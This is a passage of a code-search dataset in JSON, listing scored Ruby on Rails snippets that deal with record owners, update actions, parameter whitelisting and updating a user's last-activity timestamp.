"score": "0.5309406",
"text": "def set_owner_rating\n @owner_rating = OwnerRating.find(params[:id])\n end",
"title": ""
},
{
"docid": "55342dbfa906783a6dabc044a6ce155c",
"score": "0.53062606",
"text": "def add_owner(added_owner)\n if @owners[0] == nil\n @owners = [added_owner]\n else\n @owners << added_owner\n end\n end",
"title": ""
},
{
"docid": "d231fdf4d2556a1e2664ad905eb990ee",
"score": "0.53003",
"text": "def owner=(value)\n @owner = value\n end",
"title": ""
},
{
"docid": "d231fdf4d2556a1e2664ad905eb990ee",
"score": "0.53003",
"text": "def owner=(value)\n @owner = value\n end",
"title": ""
},
{
"docid": "b33d81505437be485b3a89984b6ae6af",
"score": "0.5294461",
"text": "def set_Owner(value)\n set_input(\"Owner\", value)\n end",
"title": ""
},
{
"docid": "b33d81505437be485b3a89984b6ae6af",
"score": "0.5294461",
"text": "def set_Owner(value)\n set_input(\"Owner\", value)\n end",
"title": ""
},
{
"docid": "af25392aa105aaf2327d0f26fcf99ddc",
"score": "0.52935463",
"text": "def update\n if @owner.update_attributes(owner_params)\n flash[:success] = \"Profile updated\"\n redirect_to @owner\n else\n render 'edit'\n end\n end",
"title": ""
},
{
"docid": "b8d1c3ed70753f49419716095d52aa72",
"score": "0.52817863",
"text": "def owner=(argument)\n @owner = argument\n end",
"title": ""
},
{
"docid": "eeabb6743c2b51aca9e79b1fbad8c64e",
"score": "0.5271409",
"text": "def set_owner\n @owner = Owner.find(params[:id])\n end",
"title": ""
},
{
"docid": "eeabb6743c2b51aca9e79b1fbad8c64e",
"score": "0.5271409",
"text": "def set_owner\n @owner = Owner.find(params[:id])\n end",
"title": ""
},
{
"docid": "5c88db3674a38c0ec0967c52d71e1467",
"score": "0.52600354",
"text": "def set_owner\n\t\t\t\t\tif RicBoard.use_person\n\t\t\t\t\t\t@owner = current_user.person\n\t\t\t\t\telse\n\t\t\t\t\t\t@owner = current_user\n\t\t\t\t\tend\n\t\t\t\tend",
"title": ""
},
{
"docid": "5c88db3674a38c0ec0967c52d71e1467",
"score": "0.52600354",
"text": "def set_owner\n\t\t\t\t\tif RicBoard.use_person\n\t\t\t\t\t\t@owner = current_user.person\n\t\t\t\t\telse\n\t\t\t\t\t\t@owner = current_user\n\t\t\t\t\tend\n\t\t\t\tend",
"title": ""
},
{
"docid": "07428256f34f0c8fc1e631f137cb70a0",
"score": "0.52563095",
"text": "def update\n @owner = Owner.find(params[:id])\n \n if @owner.update(owner_params)\n render json: @owner, status: :ok\n else\n render json: @owner.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "184f439d93a892f474d73f4118786b55",
"score": "0.5244762",
"text": "def update\n if current_user.user_type == \"Pet Owner\" && @pet.user == current_user\n respond_to do |format|\n if @pet.update(pet_params)\n format.html { redirect_to @pet, notice: 'Pet was successfully updated.' }\n format.json { render :show, status: :ok, location: @pet }\n else\n format.html { render :edit }\n format.json { render json: @pet.errors, status: :unprocessable_entity }\n end\n end\n else\n redirect_to '/', notice: 'You do not have access to this page.'\n end\n end",
"title": ""
},
{
"docid": "66318572b7f7280a317e3fabbc45b5f3",
"score": "0.5242997",
"text": "def owner_params\n params.require(:owner).permit(:name)\n end",
"title": ""
},
{
"docid": "bc4ab54992716005024183a18c86cbae",
"score": "0.5241079",
"text": "def update_annotations entity, attr='tag', owner=User.current_user\n unless owner.nil?\n entity.tag_with_params params, attr\n if immediately_clear_tag_cloud?\n expire_annotation_fragments(attr)\n else\n RebuildTagCloudsJob.create_job\n end\n end\n \n end",
"title": ""
},
{
"docid": "5a6337705d18cee2b8a868cbd617a75c",
"score": "0.5237319",
"text": "def owner(owner)\n @options[:owner] = owner\n self\n end",
"title": ""
},
{
"docid": "96a0c8d39a396adb1e9f431463cbd602",
"score": "0.5219936",
"text": "def owner_params\n params.require(:owner).permit(:name, :mail, :phone, :user_ids => [])\n end",
"title": ""
},
{
"docid": "9a3dc7573766ccb33fd15161fd57e7fa",
"score": "0.5204429",
"text": "def update_order_owners(mem)\n @data.orders.each do |order|\n order.set_user_id(mem.creator.user_id)\n order.save\n end\n end",
"title": ""
},
{
"docid": "171ca00058e5be58eca324094da94c19",
"score": "0.5202103",
"text": "def owner=(owner_string)\n self.name = owner_string\n end",
"title": ""
},
{
"docid": "9cab90fe05775b6924982ec36c67c7c4",
"score": "0.519821",
"text": "def tag_owner\n current_user || User.super_id\n end",
"title": ""
},
{
"docid": "b3e6bac7a4611b2238d8634447d64f63",
"score": "0.5193939",
"text": "def update\n\t\t@user = User.find(session[:user_id])\n\t\t@title = Title.find(params[:id])\n\t\t@tags = params[:tag].collect { |id, state| Tag.find(id) }\n\n\t\t# Delete any previous user_tags\n\t\tUserTag.find(:all, :conditions => [\"user_id=? and title_id=?\", @user.id, @title.id]).each do |user_tag|\n\t\t\tuser_tag.destroy\n\t\tend\n\n\t\t# Save all the new tags\n\t\[email protected] do |tag|\n\t\t\tuser_tag = UserTag.new\n\t\t\tuser_tag.tag = tag\n\t\t\tuser_tag.user = @user\n\t\t\tuser_tag.title = @title\n\t\t\tuser_tag.save!\n\t\tend\n\n\t\t# Destroy all the title_tags for this title\n\t\tTitleTag.find(:all, :conditions => [\"title_id=?\", @title.id]).each do |title_tag|\n\t\t\ttitle_tag.destroy\n\t\tend\n\n\t\t# Save all the title_tags for this title\n\t\tTag.find(:all).each do |tag|\n\t\t\ttitle_tag = TitleTag.new\n\t\t\ttitle_tag.title = @title\n\t\t\ttitle_tag.tag = tag\n\t\t\ttitle_tag.count = UserTag.count(:conditions => [\"title_id=? and tag_id=?\", @title.id, tag.id])\n\t\t\ttitle_tag.save!\n\t\tend\n\n\t\trespond_to do |format|\n\t\t\tflash_notice 'The User Tags were successfully updated.'\n\t\t\tformat.html { redirect_to(:action => 'show', :id => @title.id, :user_id => @user.id) }\n\t\tend\n\tend",
"title": ""
},
{
"docid": "a4c777080a5db62e9d5846e2eaf5bd12",
"score": "0.5180636",
"text": "def owner_params\n params.require(:owner).permit(:name, :address, :mobile, :no_of_parking, :price, :latitude, :longitude)\n end",
"title": ""
},
{
"docid": "446c1dfba36b70eb5a700c58531e3682",
"score": "0.5158691",
"text": "def update\n render json: { error: 'Not Authorized' }, status: 401 unless current_user == @volunteer.user || current_user.moderator?\n @volunteer.tags = Tag.where(id: (@volunteer.tags.pluck(:id) +( params[:tags].split(', ') || [])).uniq, category: 'volunteer')\n if @volunteer.update(volunteer_params)\n render :show, status: :ok, location: @volunteer\n else\n render json: @volunteer.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "cb3dcf2589a10fc681d414afbfd91437",
"score": "0.51565534",
"text": "def owner_params\n params.require(:owner).permit(:uid, :email, :tenant)\n end",
"title": ""
},
{
"docid": "2381baf2ab7d632a64083f7ae25e6fe2",
"score": "0.5155691",
"text": "def update\n @owner = Owner.find(params[:id])\n\n respond_to do |format|\n if @owner.update_attributes(params[:owner])\n flash[:notice] = 'Owner was successfully updated.'\n format.html { redirect_to(@owner) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @owner.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f622ac88705ce19ac4b398be06435960",
"score": "0.5154869",
"text": "def update_owner_timestamp\r\n begin\r\n self.owner.touch if self.owner\r\n rescue => e\r\n logger.warn(\"Failed to update the owner record for #{self}\")\r\n end\r\n end",
"title": ""
},
{
"docid": "487349538b85a552b8c2a8b01dadf56f",
"score": "0.51543593",
"text": "def update\n #@pet_owner = PetOwner.find(params[:id])\n\n respond_to do |format|\n if @pet_owner.update_attributes(params[:pet_owner])\n flash[:notice] = 'Pet owner was successfully updated.'\n format.html { redirect_to(pet_owners_url) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @pet_owner.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "76c14bb0f2493c307a367046f1a89de4",
"score": "0.5150373",
"text": "def update_annotations(param, entity, attr = 'tag', owner = User.current_user)\n unless owner.nil?\n entity.add_annotations(param, attr)\n if immediately_clear_tag_cloud?\n expire_annotation_fragments(attr)\n else\n RebuildTagCloudsJob.new.queue_job\n end\n end\n end",
"title": ""
},
{
"docid": "3d4de81aedd3bf51c7eb1bff018a161e",
"score": "0.51489484",
"text": "def update\n flash[:success] = 'Owner was successfully updated.' if @owner.update(permitted_params)\n respond_with(@owner)\n end",
"title": ""
},
{
"docid": "71ccd69714cba4657e0a50baf86af4d6",
"score": "0.51480424",
"text": "def update_tag\n @tag = Tag.find(params[:tag][:tag_id])\n authorize @tag\n if @tag.tag_category == TagCategory.where(company_id: current_user.company_id).order(:id).first\n User.where(company_id: current_user.company_id, job_title: @tag.tag_name).each do |user|\n user.update(job_title: params[:tag][:tag_name])\n end\n end\n @tag.update(tag_params)\n InterviewFormTag.where(tag_id: @tag.id).update_all(tag_name: @tag.tag_name)\n @tag_categories = TagCategory.where(company_id: current_user.company_id).order(position: :asc)\n @users = User.where(id: params[:tag][:users].split(' '))\n @opened = params[:commit]\n respond_to do |format|\n format.html {redirect_to organisation_path}\n format.js\n end\n end",
"title": ""
},
{
"docid": "2e559372ac48228362e5c79733ef306d",
"score": "0.51433796",
"text": "def set_ownerable\n model = params[:client][:ownerable_type].modelarize\n id = params[:client][:ownerable_id]\n @ownerable = custom_find do\n model.find(id)\n end\n end",
"title": ""
},
{
"docid": "49889996a4b193fb0d777b63bd550295",
"score": "0.5139303",
"text": "def update\n @owner = Owner.find(params[:id])\n\n respond_to do |format|\n if @owner.update_attributes(params[:owner])\n format.html { redirect_to(@owner, :notice => 'Owner was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @owner.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ca4febe19a82de9795db0145bb34336d",
"score": "0.51386845",
"text": "def set_owner\n @current_resource.owner(current_owner)\n end",
"title": ""
},
{
"docid": "557e25aadaa1936e3086912b5b91dd0f",
"score": "0.5136471",
"text": "def ensure_user_is_tag_owner\n access_denied if current_user.nil? || current_user.id != @tag.user_id\n end",
"title": ""
},
{
"docid": "b927df78e92531bd480dcd717d65f45b",
"score": "0.5135569",
"text": "def owner_params\n params.require(:owner).permit(:name, :address)\n end",
"title": ""
},
{
"docid": "752318471c04dd692bcdfb39c652134d",
"score": "0.51324296",
"text": "def setOwnerId(ownerId)\r\n\t\t\t\t\t@ownerId = ownerId\r\n\t\t\t\tend",
"title": ""
},
{
"docid": "752318471c04dd692bcdfb39c652134d",
"score": "0.51324296",
"text": "def setOwnerId(ownerId)\r\n\t\t\t\t\t@ownerId = ownerId\r\n\t\t\t\tend",
"title": ""
},
{
"docid": "752318471c04dd692bcdfb39c652134d",
"score": "0.51324296",
"text": "def setOwnerId(ownerId)\r\n\t\t\t\t\t@ownerId = ownerId\r\n\t\t\t\tend",
"title": ""
},
{
"docid": "d869cf00b7e8ecf69923e99a57265cbf",
"score": "0.51322305",
"text": "def update\n @user = User.find_by(id: params[\"id\"])\n tag = Tag.find_or_create_by(name: params[\"tag\"])\n @user.tag = tag\n @user.save!\n flash[:notice] = 'User was successfully updated.'\n redirect_to session[:return_to]\n end",
"title": ""
},
{
"docid": "55e6850d4f2c7a3dd8d9f46cda16eb91",
"score": "0.5117539",
"text": "def update\n @owner = Owner.find(params[:id])\n\n if @owner.update(owner_params)\n head :no_content\n else\n render json: @owner.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "95635d30196ec655679e4a282212965a",
"score": "0.5117502",
"text": "def owner_params\n params.require(:owner).permit(:name, :email)\n end",
"title": ""
},
{
"docid": "096dbbfe29abe58e018a719d09791382",
"score": "0.51105994",
"text": "def owners=(value)\n @owners = value\n end",
"title": ""
},
{
"docid": "096dbbfe29abe58e018a719d09791382",
"score": "0.51105994",
"text": "def owners=(value)\n @owners = value\n end",
"title": ""
},
{
"docid": "096dbbfe29abe58e018a719d09791382",
"score": "0.51105994",
"text": "def owners=(value)\n @owners = value\n end",
"title": ""
},
{
"docid": "fc450e8cf71f6a09415acf89523ed536",
"score": "0.5102684",
"text": "def set_owner\n @owner = User.find(@pageable.user_id)\n end",
"title": ""
},
{
"docid": "71de9622c6b29abfe38cbc40fc61bf35",
"score": "0.5101988",
"text": "def update\n respond_to do |format|\n if @owner_info.update(owner_info_params)\n format.html { redirect_to @owner_info, notice: 'Owner info was successfully updated.' }\n format.json { render :show, status: :ok, location: @owner_info }\n else\n format.html { render :edit }\n format.json { render json: @owner_info.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "fa8543bd666c33851991c5976fdae574",
"score": "0.50887126",
"text": "def set_owner\n @owner = Owner.find_by(id: params[:id])\n render json: not_found_message, status: :not_found if @owner.nil?\n end",
"title": ""
}
] |
9728e131b933c490d95cf2edebde11bb
|
Updates last activity time of current user if he is logged in
|
[
{
"docid": "5d38c303138240d91ff2275f27c6b089",
"score": "0.7954387",
"text": "def update_last_activity\n current_user.try(:update_last_activity)\n end",
"title": ""
}
] |
[
{
"docid": "5c5700376b0f6d3d1992bad329b2dd4f",
"score": "0.89408994",
"text": "def update_last_user_activity\n if current_user\n current_user.update_attributes(:last_user_activity => Time.now)\n end\n end",
"title": ""
},
{
"docid": "dfa2a0078e125a8b8c4c158a8e08c915",
"score": "0.86553264",
"text": "def update_last_activity_at\n current_user.last_activity_at = Time.zone.now if current_user\n end",
"title": ""
},
{
"docid": "2a66b898de0c68b6251256365e860465",
"score": "0.81616724",
"text": "def update_last_user_activity\n now = session[:last_activity] = Time.now\n return if session_is_cloned?\n if ( current_user && (session[:last_activity_saved].nil? || (now - session[:last_activity_saved] > APP_CONFIG[:save_last_activity_granularity_in_seconds].to_i ) ) ) \n logger.info(\"Saved last activity date to #{now} for #{current_user.log_info}\")\n current_user.update_last_activity_date\n session[:last_activity_saved] = now\n end\n end",
"title": ""
},
{
"docid": "1b08d2ddc887b51b85f144d16c213dec",
"score": "0.7912079",
"text": "def user_activity\n current_user.touch(:last_response_at) if signed_in?\n end",
"title": ""
},
{
"docid": "02e10252cab67b6c26275ce633d3c085",
"score": "0.78442895",
"text": "def update_activity\n self.last_activity = Time.now\n end",
"title": ""
},
{
"docid": "92a21513019b8a215f6554803c6e6c50",
"score": "0.7797035",
"text": "def record_user_activity\n current_user.touch :last_active_at if current_user\n end",
"title": ""
},
{
"docid": "f00cc6c63b6d0ef05b206825af5da484",
"score": "0.74715656",
"text": "def update_last_activity!\n if respond_to?(:update_column)\n self.update_column(:last_activity_at, Time.now.utc)\n elsif defined? Mongoid\n self.update_attribute(:last_activity_at, Time.now.utc)\n end\n end",
"title": ""
},
{
"docid": "bb6474ac6a8e4fea99f9abef9dce61f4",
"score": "0.7463703",
"text": "def register_last_activity_time_to_db\n return unless sorcery_config.register_last_activity_time\n return unless logged_in?\n\n current_user.set_last_activity_at(Time.current)\n end",
"title": ""
},
{
"docid": "7466e02731258edb1db91ae36f11f862",
"score": "0.7408909",
"text": "def update_user\n current_user.update_last_access if current_user && signed_in?\n end",
"title": ""
},
{
"docid": "9fedde208590d4bd07395fa56be3550f",
"score": "0.7212361",
"text": "def update_activity_time\n session[:expires_at] = (configatron.session_time_out.to_i || 10).minutes.from_now\n end",
"title": ""
},
{
"docid": "d58f7b41f726bf8eca7aa6621b2ea97a",
"score": "0.70762646",
"text": "def update_activity_time\n session[:expires_at] = DateTime.now + 30.minutes\n end",
"title": ""
},
{
"docid": "84f146b718b32b06e128926a0e222db9",
"score": "0.7031557",
"text": "def session_last_user_activity\n session[:last_activity]\n end",
"title": ""
},
{
"docid": "920ab5da5b9e29bc6b9f8d57fc3599ca",
"score": "0.6922647",
"text": "def last_updates_viewed\n self.user.extend(Montage::User).last_login\n end",
"title": ""
},
{
"docid": "502a47be561bba965c0d7956226e7c05",
"score": "0.6896079",
"text": "def update_activity_time\n session[:expires_at] = 15.minutes.from_now\n end",
"title": ""
},
{
"docid": "a830a63b1cbc1eff632ce9489e6eff0c",
"score": "0.6887514",
"text": "def refresh!\n self.update_attributes(:last_logged => Time.now)\n end",
"title": ""
},
{
"docid": "48401247b6df30846f9d82bd9830c7cd",
"score": "0.67834026",
"text": "def current_user\n @current_user ||= super\n if @current_user != nil && @current_user.id > 0\n loggedInUser = User.find(@current_user.id)\n loggedInUser.update(:lastlogintime=>Time.now.to_i)#save the current login time \n end\n @current_user\n end",
"title": ""
},
{
"docid": "3cca6eebe82e74247c48f98e09df11b6",
"score": "0.67705894",
"text": "def set_last_login\n self.update_attributes(:last_login_at => Time.now.utc)\n end",
"title": ""
},
{
"docid": "987c49e91d9f93a4de75082ba83f3e72",
"score": "0.6693208",
"text": "def last_active\n activity_log && activity_log.last_time\n end",
"title": ""
},
{
"docid": "93cee291e616229dcca8446b405e03e4",
"score": "0.6635474",
"text": "def new_activity!\n update_attributes(most_recent_activity: DateTime.now)\n end",
"title": ""
},
{
"docid": "614d28ba7da9cf19849b29cb25181b25",
"score": "0.65832305",
"text": "def after_update(resource)\n #expire_cache_for(resource)\n unless resource.is_a? User and (resource.current_sign_in_at_changed? or resource.last_sign_in_at_changed?)\n expire_cache_for(resource)\n end\n end",
"title": ""
},
{
"docid": "cb04a26a599068cf976527f6be019bd5",
"score": "0.65799004",
"text": "def update_user_token\n if user_signed_in?\n Session.active_sessions.find_by(id: request.headers['sid'], utoken: request.headers['utoken']).update(last_used_at: Time.zone.now)\n end\n end",
"title": ""
},
{
"docid": "aa402153a3b69e04085df8cba3e4c62e",
"score": "0.6545941",
"text": "def update_first_login(user)\n unless user.first_logged_in_at\n user.update_attributes(first_logged_in_at: Time.now)\n end\n end",
"title": ""
},
{
"docid": "aba12dbbbb3c23fb548ff226c23bb5b6",
"score": "0.6509926",
"text": "def set_last_active_at\n self.last_active_at = Time.now\n end",
"title": ""
},
{
"docid": "725e458628219e0a3e002380847eb542",
"score": "0.650736",
"text": "def active_now!\n @mutex.synchronize do\n @activity = Time.now\n end\n end",
"title": ""
},
{
"docid": "ce94164f02d1174943086b401aba1ad6",
"score": "0.6471437",
"text": "def access!\n today = Time.now\n if last_access.nil? || last_access < today\n update_attribute :last_access, today\n end\n end",
"title": ""
},
{
"docid": "b4e29121fabf19079b02a2e446b73d03",
"score": "0.64236367",
"text": "def timestamp_attributes_for_update\n ['last_activity']\n end",
"title": ""
},
{
"docid": "5b9316c3b87629e4899951374a396e56",
"score": "0.6392063",
"text": "def ensure_last_signed_in_at_set\n return unless current_user.present?\n return if current_user.last_signed_in_at.present?\n current_user.update last_signed_in_at: current_user.updated_at\n end",
"title": ""
},
{
"docid": "bd7066015f9afb48018626a360a74849",
"score": "0.6382536",
"text": "def current\n current_user.update!(last_login: Time.now)\n render json: current_user\n end",
"title": ""
},
{
"docid": "bd7066015f9afb48018626a360a74849",
"score": "0.6382536",
"text": "def current\n current_user.update!(last_login: Time.now)\n render json: current_user\n end",
"title": ""
},
{
"docid": "c32ceb81fc1dd6056a8c555fb52f77bb",
"score": "0.6362077",
"text": "def update_last_seen_at\n puts \"\", \"Updating last seen at on users\"\n\n DB.exec(\"UPDATE users SET last_seen_at = created_at WHERE last_seen_at IS NULL\")\n DB.exec(\"UPDATE users SET last_seen_at = last_posted_at WHERE last_posted_at IS NOT NULL\")\n end",
"title": ""
},
{
"docid": "f40792981cf101d0432f79f589129c49",
"score": "0.6224857",
"text": "def was_seen!\n update_attribute(:last_seen_at, Time.now) if valid? && (last_seen_at.nil? || last_seen_at < 1.hour.ago)\n end",
"title": ""
},
{
"docid": "f40792981cf101d0432f79f589129c49",
"score": "0.6224857",
"text": "def was_seen!\n update_attribute(:last_seen_at, Time.now) if valid? && (last_seen_at.nil? || last_seen_at < 1.hour.ago)\n end",
"title": ""
},
{
"docid": "b24b0bb79d0204faf5014df425724051",
"score": "0.6221975",
"text": "def set_last_reload\n current_dreamer.update_column(:last_reload_at, Time.zone.now) if dreamer_signed_in?\n end",
"title": ""
},
{
"docid": "d7af0a9b4c5139efaaf5499e1236c216",
"score": "0.61990494",
"text": "def touch_user_data\n user.update user_data_updated_at: Time.zone.now if user.present?\n end",
"title": ""
},
{
"docid": "13ae5ef85fc7560c9c243971a221ff2a",
"score": "0.6189206",
"text": "def touch_via_cache(time=self.updated_at)\n time = time.utc\n #self.user.league_roles_last_updated_at = time unless self.user.nil?\n #self.league.league_roles_last_updated_at = time unless self.league.nil?\n return true\n end",
"title": ""
},
{
"docid": "84fe8651b19f20fc349b2b2b32e017dd",
"score": "0.6178065",
"text": "def update_activated_at\n if status_before_last_save == false\n update_attributes(activated_at: Time.now)\n end\n end",
"title": ""
},
{
"docid": "79d49d00f17c4698c4b65d09b166da28",
"score": "0.6157209",
"text": "def set_time_attempt(service)\n\t\t@last_attempt[service][\"time\"] = User.get_time\n\tend",
"title": ""
},
{
"docid": "238c6b48149c74eee0fc6d2bf11b36e3",
"score": "0.61424106",
"text": "def current\n current_user.update!(last_login: Time.now)\n render json: current_user, status: :ok\n end",
"title": ""
},
{
"docid": "2d9b2492c1ef247e86b543960873e426",
"score": "0.610199",
"text": "def status_for(user)\n return \"NEW!\" if user.last_logout.nil?\n\n\n if created_at > user.last_logout\n \"NEW!\"\n elsif updated > user.last_logout\n \"UPDATED!\"\n else\n \"\"\n end\n end",
"title": ""
},
{
"docid": "8b6ec7aef02e087edd7b3353912188ea",
"score": "0.6094608",
"text": "def verify_and_update_activity_timer\n\t\tif (has_valid_credentials) then\n\t\t # username is valid, login_time is valid, do the real checking\n\t\t inactivity = Time.now.to_i - session[:login_time]\n\t\t logger.error(\"VC: Checking timeout \" + inactivity.to_s + \" versus \" + inactivity_timeout.to_s)\n\n\t\t if (inactivity > inactivity_timeout) then\n\t\t # timeout! clobber the session\n\t\t flash[:error] = 'Session timed out; please login again to continue'\n\t\t clear_session()\n \t\t redirect_to :controller => 'application', :action => 'index'\n\t\t else\n\t\t # active session, update the timer\n\t\t logger.error(\"VC: Actively logged in, setting activity timer\")\n\t\t session[:login_time] = Time.now.to_i\n\t\t\tsessionPlayer = Player.find_by_id(session[:player_id])\n\t\t\tsessionPlayer.touch\n\t\t end\n\t\telse\n\t\t logger.error(\"VC: Not logged in, no timeout check\")\n\t\tend\n\tend",
"title": ""
},
{
"docid": "2c38c5d09785fcab1edec3e8f4c338e8",
"score": "0.6083875",
"text": "def user_activity\n user_agent = UserAgent.parse(request.env[\"HTTP_USER_AGENT\"])\n browser_type = user_agent.browser\n ip_address = request.env['REMOTE_ADDR']\n is_logged = Activity.where(member_id: @member.id, is_logged: true)\n is_authorized = Activity.find_by(member_id:@member.id,ip_address:ip_address,is_authorized:true,browser_type:browser_type)\n if is_authorized\n is_authorized.update_attributes(is_authorized: false)\n is_logged.update_all(is_logged: false, is_authorized: false)\n is_logged = nil\n return false\n else\n return is_logged.present?\n end\n\n end",
"title": ""
},
{
"docid": "9bbfe21373ad91f469be8cd0d546bdf3",
"score": "0.60798067",
"text": "def last_seen_date_time=(value)\n @last_seen_date_time = value\n end",
"title": ""
},
{
"docid": "9bbfe21373ad91f469be8cd0d546bdf3",
"score": "0.60798067",
"text": "def last_seen_date_time=(value)\n @last_seen_date_time = value\n end",
"title": ""
},
{
"docid": "9bbfe21373ad91f469be8cd0d546bdf3",
"score": "0.60798067",
"text": "def last_seen_date_time=(value)\n @last_seen_date_time = value\n end",
"title": ""
},
{
"docid": "b04fcc194b47197c877f8e19ccacc932",
"score": "0.6072623",
"text": "def log_activity_now(activity)\n log_activity(activity, prev_end_time, current_time)\nend",
"title": ""
},
{
"docid": "0d03f51f61c807ef5f8bec42894c3fee",
"score": "0.6057916",
"text": "def access!\n \n if self[:last_access].nil? || last_access < Time.now\n self[:prev_access] = self[:last_access] \n self[:last_access] = Time.now\n save\n end\n end",
"title": ""
},
{
"docid": "9304208da04dedf817f9bda5b62db5a4",
"score": "0.6055041",
"text": "def update_user_tracking!\n unless self.new_record?\n self.updater = \n UserTracking.current_user || \n (raise UserTracking::Error, \"current user is not defined\")\n end\n end",
"title": ""
},
{
"docid": "27a30a50d318effa4e34cb3f511c881e",
"score": "0.6030755",
"text": "def user_update(user)\n puts \"\"\n puts \"PourHandler > user_update\"\n\n # We can't do anything without a user id\n return unless user.has_key?(:id)\n\n @current_users[user[:id]] = Time.now\n\n EM.add_timer App::Persistence[:user_timeout].to_i do\n if @current_users.has_key?(user[:id]) && @current_users[user[:id]] + App::Persistence[:user_timeout].to_i <= Time.now\n puts \"PourHandler > user_update > USER TIMED OUT #{user}\"\n App.notification_center.post(\"UserTimeoutNotification\", nil, user)\n\n @current_users.delete(user[:id])\n end\n end\n end",
"title": ""
},
{
"docid": "4947bbfe7b07f2ba581ca6b53d9ee122",
"score": "0.6029753",
"text": "def update_login_timestamps\n if current_enrollment && current_enrollment.last_seen # when an enrollment is created, it's last_seen value is set\n \n if current_enrollment.last_seen < 4.hour.ago # 4 hours is somewhat arbitrary\n current_enrollment.events.new_session.create\n end\n\n # note that there is activity (since this before filter happens for any activity)\n current_enrollment.update_attribute(:last_seen, Time.now)\n end\n end",
"title": ""
},
{
"docid": "cb98b3bb35f02acbbcbffda55b7e54f4",
"score": "0.6022192",
"text": "def did_log_in\n self.last_logged_in_at = DateTime.now\n self.class.execute_without_timestamps { save }\n end",
"title": ""
},
{
"docid": "77d8b3c6c81c287a6fd4bb57b0161e54",
"score": "0.6019998",
"text": "def set_timer\n user = current_user\n base_seconds = (!user.base_seconds && params[:state] == \"paused\") ? (user.base_seconds.to_i + params[:base_seconds].to_i) : params[:base_seconds].to_i\n user.update_attributes(:timer_start_time => params[:start_time], :timer_state => params[:state], :base_seconds => base_seconds)\n render :nothing => true\n end",
"title": ""
},
{
"docid": "35dccabd120c912e37007b73dde72ff4",
"score": "0.6002566",
"text": "def authorize\n redirect_to login_path and return unless current_user\n @current_user.touch(:seen_at)\n end",
"title": ""
},
{
"docid": "ce0376b144a52ef239600f2fb587a1ac",
"score": "0.599273",
"text": "def register_logout_time_to_db\n return unless sorcery_config.register_logout_time\n\n current_user.set_last_logout_at(Time.current)\n end",
"title": ""
},
{
"docid": "42c83ab1f829a61f1b4d8ea06255ea19",
"score": "0.5982841",
"text": "def update\n \n if current_user.update(user_params)\n Rails.cache.write(current_user.id,current_user)\n redirect_to users1_got_profile_path\n\n end\n end",
"title": ""
},
{
"docid": "63e43d52f87b7b8a6eb2b7b60ad92ea5",
"score": "0.597162",
"text": "def touch_recent\n self.recent_activity = Time.now\n self.save(touch: false)\n end",
"title": ""
},
{
"docid": "2cbdb419ab056affcc9438a809b3794d",
"score": "0.5965841",
"text": "def seen(user)\n puts \"Should have updated last seen time for %s\" % user.to_s\n @add_seen.execute(user)\n end",
"title": ""
},
{
"docid": "b728591e1436799098adb12367110df5",
"score": "0.5901875",
"text": "def update_sign_in_timestamps!(remember_me = false)\n timestamp = Time.now.utc\n self.last_sign_in_at = timestamp\n self.remember_created_at = timestamp if remember_me\n save(validate: false)\n end",
"title": ""
},
{
"docid": "d3d109ef113316e6f33c52dc65dc1958",
"score": "0.5896043",
"text": "def update_user_state\n user.clocked_in? ? user.clock_out : user.clock_in\n end",
"title": ""
},
{
"docid": "08cf2c5fd46568f5e3468ca1d6390dd5",
"score": "0.58756",
"text": "def last_update_date_time=(value)\n @last_update_date_time = value\n end",
"title": ""
},
{
"docid": "08cf2c5fd46568f5e3468ca1d6390dd5",
"score": "0.58756",
"text": "def last_update_date_time=(value)\n @last_update_date_time = value\n end",
"title": ""
},
{
"docid": "08cf2c5fd46568f5e3468ca1d6390dd5",
"score": "0.58756",
"text": "def last_update_date_time=(value)\n @last_update_date_time = value\n end",
"title": ""
},
{
"docid": "08cf2c5fd46568f5e3468ca1d6390dd5",
"score": "0.58756",
"text": "def last_update_date_time=(value)\n @last_update_date_time = value\n end",
"title": ""
},
{
"docid": "423d6cbe39c76b9dbf58bcafd9743ba7",
"score": "0.5869367",
"text": "def last_updated\n time = self.updated_at\n if time < Time.now - (3600 * 24)\n time.strftime(\"%b %-d, %Y\")\n else\n time.strftime(\"%l:%M %p\")\n end\n end",
"title": ""
},
{
"docid": "19b5e93f30df39b387fbc0326854f80e",
"score": "0.5863833",
"text": "def current\n if current_user\n current_user.update!(last_login: Time.zone.now)\n render json: current_user\n else\n not_auth\n end\n end",
"title": ""
},
{
"docid": "3cfd4548a9e7b5b3be5ba851b83ac854",
"score": "0.5862296",
"text": "def log_activity(user_id)\n $redis.zadd(activity_key, Time.now.to_i, user_id)\n end",
"title": ""
},
{
"docid": "7f9c0aefa7961245d804e7dee9579a11",
"score": "0.5858565",
"text": "def new_requests_since_last_login(user)\n now = Time.now\n\n if !user.last_sign_in_at.blank?\n user_last_login = user.last_sign_in_at.to_datetime\n else\n user_last_login = Time.now.to_datetime\n end\n\n Request.pending.where(updated_at: (user_last_login)..now).count\n end",
"title": ""
},
{
"docid": "12610db1da37129d05c08d7c120b5684",
"score": "0.5857106",
"text": "def update\n\t\t\t@last_run = Time.new\n\t\tend",
"title": ""
},
{
"docid": "57f97fe1e8fa85b842d6af8163cc1a46",
"score": "0.5845876",
"text": "def last_updated_date_time=(value)\n @last_updated_date_time = value\n end",
"title": ""
},
{
"docid": "57f97fe1e8fa85b842d6af8163cc1a46",
"score": "0.5845876",
"text": "def last_updated_date_time=(value)\n @last_updated_date_time = value\n end",
"title": ""
},
{
"docid": "57f97fe1e8fa85b842d6af8163cc1a46",
"score": "0.5845876",
"text": "def last_updated_date_time=(value)\n @last_updated_date_time = value\n end",
"title": ""
},
{
"docid": "57f97fe1e8fa85b842d6af8163cc1a46",
"score": "0.5845876",
"text": "def last_updated_date_time=(value)\n @last_updated_date_time = value\n end",
"title": ""
},
{
